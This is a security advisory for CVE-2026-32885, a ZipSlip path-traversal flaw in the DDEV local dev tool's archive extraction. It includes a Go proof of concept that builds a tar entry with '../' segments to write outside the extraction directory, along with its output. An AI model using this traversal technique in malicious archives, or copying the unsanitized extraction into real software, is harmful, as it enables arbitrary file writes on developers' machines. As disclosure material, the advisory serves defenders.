CVE-2026-32885

Description

## Summary The DDEV local dev tool has unsanitized extraction in both `Untar()` and `Unzip()` functions in `pkg/archive/archive.go`. This flaw allows users to download and extract archives from remote sources without path validation. ## Vulnerable Code `pkg/archive/archive.go:235` (Untar): ```go fullPath := filepath.Join(dest, file.Name) // NO SANITIZATION ``` `pkg/archive/archive.go:342` (Unzip): ```go fullPath := filepath.Join(dest, file.Name) // NO SANITIZATION ``` Both functions create directories via `os.MkdirAll` and files via `os.Create` using the unsanitized path. ## Impact Local development tool that downloads and extracts archives from remote sources (add-ons, updates). Malicious archive → arbitrary file write on developer machine. ## Proof of Concept ```go package main // PoC: ddev/ddev CWE-22 — ZipSlip in tar archive extraction // Replicates the exact pattern from pkg/archive/archive.go:235 (Untar) // and pkg/archive/archive.go:342 (Unzip) — both use filepath.Join(dest, name) // without verifying the result stays under the destination directory. import ( "archive/tar" "bytes" "fmt" "io" "os" "path/filepath" ) // Vulnerable extraction — mirrors pkg/archive/archive.go:235 func untarVulnerable(dst string, r io.Reader) error { tr := tar.NewReader(r) for { header, err := tr.Next() if err == io.EOF { break } if err != nil { return err } // VULNERABLE: identical to archive.go:235 // fullPath := filepath.Join(dest, file.Name) fullPath := filepath.Join(dst, header.Name) switch header.Typeflag { case tar.TypeDir: os.MkdirAll(fullPath, 0755) case tar.TypeReg: os.MkdirAll(filepath.Dir(fullPath), 0755) f, _ := os.Create(fullPath) io.Copy(f, tr) f.Close() } } return nil } func main() { // Build malicious tar with traversal entry var buf bytes.Buffer tw := tar.NewWriter(&buf) payload := []byte("# PoC: ddev/ddev CWE-22 path traversal\n") tw.WriteHeader(&tar.Header{ Name: "../../../../../../tmp/ddev_cwe22_poc", Mode: 0644, Size: int64(len(payload)), }) tw.Write(payload) tw.Close() // Extract into temp directory extractDir, _ := os.MkdirTemp("", "ddev-poc-*") defer os.RemoveAll(extractDir) untarVulnerable(extractDir, &buf) // Verify escape escaped := "/tmp/ddev_cwe22_poc" if data, err := os.ReadFile(escaped); err == nil { fmt.Printf("[!!!] VULNERABLE — file written to: %s\n", escaped) fmt.Printf("[!!!] Content: %s", string(data)) os.Remove(escaped) } else { fmt.Println("[OK] Not vulnerable") } } ``` Output: ``` [!!!] VULNERABLE — file written to: /tmp/ddev_cwe22_poc [!!!] Content: # PoC: ddev/ddev CWE-22 path traversal ``` > **Note:** Both `Untar` (archive.go:235) and `Unzip` (archive.go:342) use the same `filepath.Join(dest, file.Name)` pattern without containment checks. This PoC demonstrates the tar path; the zip path is analogously exploitable. ## Suggested Fix Add path containment check in both Untar and Unzip functions. ## Credit Kai Aizen (SnailSploit) — Adversarial AI & Security Research